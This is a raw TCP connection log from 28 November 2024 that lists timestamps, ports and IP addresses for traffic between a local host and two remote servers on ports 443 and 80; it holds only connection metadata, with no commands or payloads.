Nov 28, 2024 02:27:19.590114117 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.591347933 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.591370106 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.591475010 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.591475010 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.591483116 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.591528893 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.599781036 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.599803925 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.599863052 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.599869967 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.599900007 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.599935055 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.603722095 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.603741884 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.603782892 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.603790045 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.603833914 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.608645916 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.608664989 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.608745098 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.608753920 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.608773947 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.608797073 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.612104893 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.612400055 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.612562895 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.612581968 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.612636089 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.612651110 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.612694979 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.612788916 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.612840891 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.614224911 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.614237070 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.614304066 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.615973949 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.615986109 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.616043091 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.616086960 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.616780043 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.616808891 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.616842985 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.616849899 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.616878986 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.616890907 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.618056059 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.618113995 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.618136883 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.618177891 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.618805885 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.618887901 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.619498014 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.619586945 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.620218039 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.620335102 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.620910883 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.620917082 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.621017933 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.621603012 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.621663094 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.622400999 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.622421980 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.622466087 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.622474909 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.622503996 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.622579098 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.623022079 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.623034954 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.623074055 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.623075008 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.624486923 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.624499083 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.624509096 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.624579906 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.624579906 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.625137091 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.625212908 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.625220060 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.625231981 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.625274897 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.625283957 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.625328064 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.625910044 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.625971079 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.626533985 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.626545906 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.626590014 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.626590014 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.627239943 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.627305984 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.628626108 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.628638029 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.628712893 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.630053997 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.630065918 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.630146027 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.630769968 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.630783081 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.630825043 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.631808043 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.631819010 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.631855965 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.633232117 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.633243084 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.633358955 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.635518074 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.635540009 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.635597944 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.635606050 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.635626078 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.635711908 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.641370058 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.641390085 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.641464949 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.641464949 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.641473055 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.641669989 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.645080090 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.645138979 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.645181894 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.645190954 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.645220995 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.645220995 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.647325039 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.647344112 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.647389889 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.647397041 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.647438049 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.647438049 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.658895969 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.658945084 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.658982992 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.658994913 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.659024000 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.659024000 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.674537897 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.674602985 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.674664021 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.674702883 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.675272942 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.675367117 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.675406933 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.675446987 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.676495075 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.676583052 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.676644087 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.676693916 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.677578926 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.677650928 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.677851915 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.677896023 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.678889036 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.679039001 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.679053068 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.679085016 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.680450916 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.680531025 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.680641890 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.680804968 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.681720018 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.681797028 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.681873083 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.681911945 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.682621956 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.682636023 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.682689905 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.682689905 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.684039116 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.684103012 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.684191942 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.684243917 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.685292959 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.685343981 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.685436964 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.685581923 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.686608076 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.686619043 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.686691046 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.687370062 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.687447071 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.687510014 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.687568903 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.689073086 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.689085960 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.689132929 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.689132929 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.690009117 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.690215111 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.690309048 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.690367937 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.691752911 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.691766024 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.691822052 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.691822052 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.693563938 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.693576097 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.693631887 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.694859028 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.694885969 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.694962025 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.694972038 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.695003033 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.695003033 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.695430994 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.695445061 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.695614100 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.695614100 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.696696997 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.696708918 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.696754932 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.696754932 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.697412014 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.697424889 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.697459936 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.697477102 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.698503971 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.698535919 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.698617935 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.698626995 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.698636055 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.698668957 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.699335098 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.699347019 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.699393034 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.702263117 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.702275991 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.702337027 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.702337027 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.702430964 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.702441931 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.702478886 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.704739094 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.704762936 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.704790115 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.704804897 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.705656052 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.705672979 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.705724001 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.705724001 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.706614971 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.706625938 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.706681967 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.707479000 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.707501888 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.707572937 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.707586050 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.707768917 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.708442926 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.708455086 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.708534956 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.708534956 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.709413052 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.709435940 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.709502935 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.709511042 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.709552050 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.710202932 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.710217953 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.710266113 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.712142944 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.712162018 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.712163925 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.712169886 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.712198019 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.712238073 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.714099884 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.714112043 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.714162111 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.716047049 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.716082096 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.716239929 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.716547012 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.716562986 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.718988895 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.719005108 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.719012022 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.719021082 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.719168901 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.719176054 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.719217062 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.719228029 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.719233990 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.719327927 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.719820976 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.719882965 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.720679998 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.720736980 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.721584082 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.721597910 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.721632957 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.722600937 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.722613096 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.722671032 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.724498034 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.724510908 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.724612951 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.725512981 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.725563049 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.726317883 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.726370096 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.727196932 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.727210045 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.727260113 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.728209019 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.728271008 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.729079962 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.729132891 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.730189085 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.730218887 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.730266094 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.730277061 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.730317116 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.730407953 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.731067896 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.731086969 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.731132030 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.731137991 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.731163025 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.731189013 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.737366915 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.737382889 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.737438917 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.737446070 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.737482071 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.738271952 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.738293886 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.738358974 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.738368988 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.738382101 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.738537073 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.744725943 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.744751930 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.744837046 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.744837999 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.744849920 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.744925976 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.745604038 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.745626926 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.745688915 CET	49731	443	192.168.2.6	150.171.27.10
